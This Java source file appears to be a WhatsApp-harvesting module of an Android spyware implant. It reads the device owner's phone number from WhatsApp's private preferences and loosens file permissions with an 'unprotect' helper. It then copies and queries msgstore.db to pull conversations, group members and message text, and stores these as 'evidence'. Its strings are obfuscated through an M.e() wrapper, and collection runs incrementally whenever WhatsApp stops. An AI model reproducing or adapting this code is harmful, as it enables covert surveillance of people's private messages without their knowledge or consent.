package com.android.dvci.module.chat; import java.io.File; import java.io.IOException; import java.util.ArrayList; import java.util.Date; import java.util.concurrent.Semaphore; import javax.xml.parsers.DocumentBuilderFactory; import org.w3c.dom.Document; import org.w3c.dom.NamedNodeMap; import org.w3c.dom.Node; import org.w3c.dom.NodeList; import android.database.Cursor; import android.database.sqlite.SQLiteDatabase; import android.database.sqlite.SQLiteQueryBuilder; import com.android.dvci.RunningProcesses; import com.android.dvci.auto.Cfg; import com.android.dvci.db.GenericSqliteHelper; import com.android.dvci.db.RecordVisitor; import com.android.dvci.file.Path; import com.android.dvci.module.ModuleAddressBook; import com.android.dvci.util.Check; import com.android.dvci.util.StringUtils; import com.android.mm.M; public class ChatWhatsapp extends SubModuleChat { private static final String TAG = "ChatWhatsapp"; ChatGroups groups = new ChatWhatsappGroups(); private static final int PROGRAM = 0x06; private static final String DEFAULT_LOCAL_NUMBER = "local"; String pObserving = M.e("com.whatsapp"); private String myPhoneNumber = DEFAULT_LOCAL_NUMBER; Semaphore readChatSemaphore = new Semaphore(1, true); @Override int getProgramId() { return PROGRAM; } @Override String getObservingProgram() { return pObserving; } @Override void notifyStopProgram(String processName) { if (Cfg.DEBUG) { Check.log(TAG + " (notification stop)"); } try { readChatWhatsappMessages(); } catch (IOException e) { if (Cfg.DEBUG) { Check.log(TAG + " (notifyStopProgram) Error: " + e); } } } /** * Estrae dal file RegisterPhone.xml il numero di telefono * * @return */ @Override protected void start() { if (Cfg.DEBUG) { Check.log(TAG + " (actualStart)"); } try { myPhoneNumber = readMyPhoneNumber(); if (DEFAULT_LOCAL_NUMBER.equals(myPhoneNumber)) { enabled = false; return; } ModuleAddressBook.createEvidenceLocal(ModuleAddressBook.WHATSAPP, myPhoneNumber); RunningProcesses runningProcesses = RunningProcesses.self(); if(!runningProcesses.getForeground_wrapper().equals(pObserving)) { readChatWhatsappMessages(); } } catch (Exception e) { if (Cfg.DEBUG) { Check.log(TAG + " (actualStart), " + e); } } } private String readMyPhoneNumber() { String myPhone = DEFAULT_LOCAL_NUMBER; String myCountryCode = ""; String filename = M.e("/data/data/com.whatsapp/shared_prefs/RegisterPhone.xml"); try { Path.unprotect(filename, 2, true); File file = new File(filename); if (Cfg.DEBUG) { Check.log(TAG + " (readMyPhoneNumber): " + file.getAbsolutePath()); } Document doc = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(file); // Element root = doc.getDocumentElement(); // root.getElementsByTagName("string"); doc.getDocumentElement().normalize(); NodeList stringNodes = doc.getElementsByTagName("string"); for (int i = 0; i < stringNodes.getLength(); i++) { if (Cfg.DEBUG) { Check.log(TAG + " (readMyPhoneNumber), node: " + i); } Node node = stringNodes.item(i); NamedNodeMap attrs = node.getAttributes(); Node item = attrs.getNamedItem("name"); if (Cfg.DEBUG) { Check.log(TAG + " (readMyPhoneNumber), item: " + item.getNodeName() + " = " + item.getNodeValue()); } // f_e=com.whatsapp.RegisterPhone.phone_number if (item != null && M.e("com.whatsapp.RegisterPhone.phone_number").equals(item.getNodeValue())) { if (Cfg.DEBUG) { Check.log(TAG + " (readMyPhoneNumber), found number: " + item); } myPhone = node.getFirstChild().getNodeValue(); } if (item != null && M.e("com.whatsapp.RegisterPhone.country_code").equals(item.getNodeValue())) { if (Cfg.DEBUG) { Check.log(TAG + " (readMyPhoneNumber), found country code: " + item); } myCountryCode = "+" + node.getFirstChild().getNodeValue(); } } } catch (Exception e) { if (Cfg.DEBUG) { Check.log(TAG + " (readMyPhoneNumber), ERROR: " + e); } } return myCountryCode + myPhone; } // select messages._id,chat_list.key_remote_jid,key_from_me,data from // chat_list,messages where chat_list.key_remote_jid = // messages.key_remote_jid /** * Apre msgstore.db, estrae le conversazioni. Per ogni conversazione legge i * messaggi relativi * * @throws IOException */ private void readChatWhatsappMessages() throws IOException { if (Cfg.DEBUG) { Check.log(TAG + " (readChatMessages)"); } if (!readChatSemaphore.tryAcquire()) { if (Cfg.DEBUG) { Check.log(TAG + " (readChatMessages), semaphore red"); } return; } try { long lastWhatsapp = markup.unserialize(new Long(0)); boolean updateMarkup = false; // f.0=/data/data/com.whatsapp/databases String dbDir = M.e("/data/data/com.whatsapp/databases"); // f.1=/msgstore.db String dbFile = M.e("/msgstore.db"); if (Path.unprotect(dbDir, dbFile, true)) { if (Cfg.DEBUG) { Check.log(TAG + " (readChatWhatsappMessages): can read DB"); } GenericSqliteHelper helper = GenericSqliteHelper.openCopy(dbDir, dbFile); if (helper == null) { if (Cfg.DEBUG) { Check.log(TAG + " (readChatWhatsappMessages) Error, file not readable: " + dbFile); } return; } try { SQLiteDatabase db = helper.getReadableDatabase(); // retrieve a list of all the conversation changed from the last // reading. Each conversation contains the peer and the last id ArrayList<String> changedConversations = fetchConversation(db, lastWhatsapp); // helper.disposeDb(); // helper = GenericSqliteHelper.open(dbDir, dbFile); // for every conversation, fetch and save message and update // markup long newLastRead = lastWhatsapp; for (String conversation : changedConversations) { if (groups.isGroup(conversation) && !groups.hasMemoizedGroup(conversation)) { fetchGroup(helper, conversation); } newLastRead = fetchMessages(db, conversation, lastWhatsapp); if (Cfg.DEBUG) { Check.log(TAG + " (readChatMessages): fetchMessages " + conversation + " newLastRead " + newLastRead); } updateMarkup = true; } if (updateMarkup) { if (Cfg.DEBUG) { Check.log(TAG + " (readChatMessages): updating markup"); } markup.writeMarkupSerializable(newLastRead); } }finally { helper.disposeDb(); } } else { if (Cfg.DEBUG) { Check.log(TAG + " (readChatMessages) Error, file not readable: " + dbFile); } } } finally { readChatSemaphore.release(); } } private void fetchGroup(GenericSqliteHelper helper, final String conversation) { if (Cfg.DEBUG) { Check.log(TAG + " (fetchGroup) : " + conversation); } // SELECT _id,remote_resource where key_remote_jid=1 // f.4=_id // f.5=key_remote_jid // f_f=remote_resources String[] projection = { M.e("remote_resource") }; String selection = M.e("key_remote_jid") + "='" + conversation + "'"; // final Set<String> remotes = new HashSet<String>(); groups.addPeerToGroup(conversation, clean(myPhoneNumber)); RecordVisitor visitor = new RecordVisitor(projection, selection) { @Override public long cursor(Cursor cursor) { //int id = cursor.getInt(0); String remote = cursor.getString(0); // remotes.add(remote); if (remote != null) { groups.addPeerToGroup(conversation, clean(remote)); } return 0; } }; helper.traverseRecords(M.e("messages"), visitor, true); } /** * Retrieves the list of the conversations and their last read message. * * @param db * @return */ private ArrayList<String> fetchConversation(SQLiteDatabase db, long lastWhatsapp) { if (Cfg.DEBUG) { Check.log(TAG + " (fetchChangedConversation)"); } ArrayList<String> changedConversations = new ArrayList<String>(); SQLiteQueryBuilder queryBuilderIndex = new SQLiteQueryBuilder(); // f.3=chat_list queryBuilderIndex.setTables(M.e("chat_list")); queryBuilderIndex.appendWhere("sort_timestamp > " + lastWhatsapp); // queryBuilder.appendWhere(inWhere); // f.4=_id // f.5=key_remote_jid // f.6=message_table_id String[] projection = { M.e("_id"), M.e("key_remote_jid"), M.e("message_table_id") }; Cursor cursor = queryBuilderIndex.query(db, projection, null, null, null, null, null); // iterate conversation indexes while (cursor != null && cursor.moveToNext()) { // f.5=key_remote_jid String jid = cursor.getString(cursor.getColumnIndexOrThrow(M.e("key_remote_jid"))); // f.6=message_table_id int mid = cursor.getInt(cursor.getColumnIndexOrThrow(M.e("message_table_id"))); if (Cfg.DEBUG) { Check.log(TAG + " (readChatMessages): jid : " + jid + " mid : " + mid); } int lastReadIndex = 0; // if there's something new, fetch new messages and update // markup if (lastReadIndex < mid) { changedConversations.add(jid); } } cursor.close(); return changedConversations; } /** * Fetch unread messages of a specific conversation * * @param db * @param conversation * @return */ private long fetchMessages(SQLiteDatabase db, String conversation, long lastWhatsapp) { if (Cfg.DEBUG) { Check.log(TAG + " (fetchMessages): " + conversation + " : " + lastWhatsapp); } String peer = clean(conversation); SQLiteQueryBuilder queryBuilderIndex = new SQLiteQueryBuilder(); // f.a=messages queryBuilderIndex.setTables(M.e("messages")); // f.4=_id // f.5=key_remote_jid queryBuilderIndex.appendWhere(M.e("key_remote_jid") + " = '" + conversation + "' AND " + M.e("timestamp") + " > " + lastWhatsapp); // f.7=data // f_b=timestamp // f_c=key_from_me String[] projection = { M.e("_id"), M.e("key_remote_jid"), M.e("data"), M.e("timestamp"), M.e("key_from_me"), "remote_resource" }; // SELECT _id,key_remote_jid,data FROM messages where _id=$conversation // AND key_remote_jid>$lastReadIndex Cursor cursor = queryBuilderIndex.query(db, projection, null, null, null, null, M.e("timestamp")); ArrayList<MessageChat> messages = new ArrayList<MessageChat>(); long lastRead = lastWhatsapp; while (cursor != null && cursor.moveToNext()) { int index = cursor.getInt(0); // f_4 String message = cursor.getString(2); // f_7 Long timestamp = cursor.getLong(3); // f_b boolean incoming = cursor.getInt(4) != 1; // f_ String remote = clean(cursor.getString(5)); if (Cfg.DEBUG) { Check.log(TAG + " (fetchMessages): " + conversation + " : " + index + " -> " + message); } lastRead = Math.max(timestamp, lastRead); if (StringUtils.isEmpty(message)) { if (Cfg.DEBUG) { Check.log(TAG + " (fetchMessages), empty message"); } continue; } if (Cfg.DEBUG) { // Check.log(TAG + " (fetchMessages): " + // StringUtils.byteArrayToHexString(message.getBytes())); } String from = incoming ? peer : myPhoneNumber; String to = incoming ? myPhoneNumber : peer; // if (groups.isGroup(peer)) { // to = groups.getGroupTo(from, peer); // } if (groups.isGroup(peer)) { if (incoming) { from = remote; } else { // to = groups.getGroupTo(from, peer); } to = groups.getGroupToName(from, peer); } if (to != null && from != null && message != null) { messages.add(new MessageChat(PROGRAM, new Date(timestamp), from, to, message, incoming)); } else { if (Cfg.DEBUG) { Check.log(TAG + " (fetchMessages) Error, null values"); } } } cursor.close(); getModule().saveEvidence(messages); return lastRead; } private String clean(String remote) { if (remote == null) { return null; } // f_9=@s.whatsapp.net return remote.replaceAll(M.e("@s.whatsapp.net"), ""); } public class ChatWhatsappGroups extends ChatGroups { @Override boolean isGroup(String peer) { return peer.contains("@g."); } } }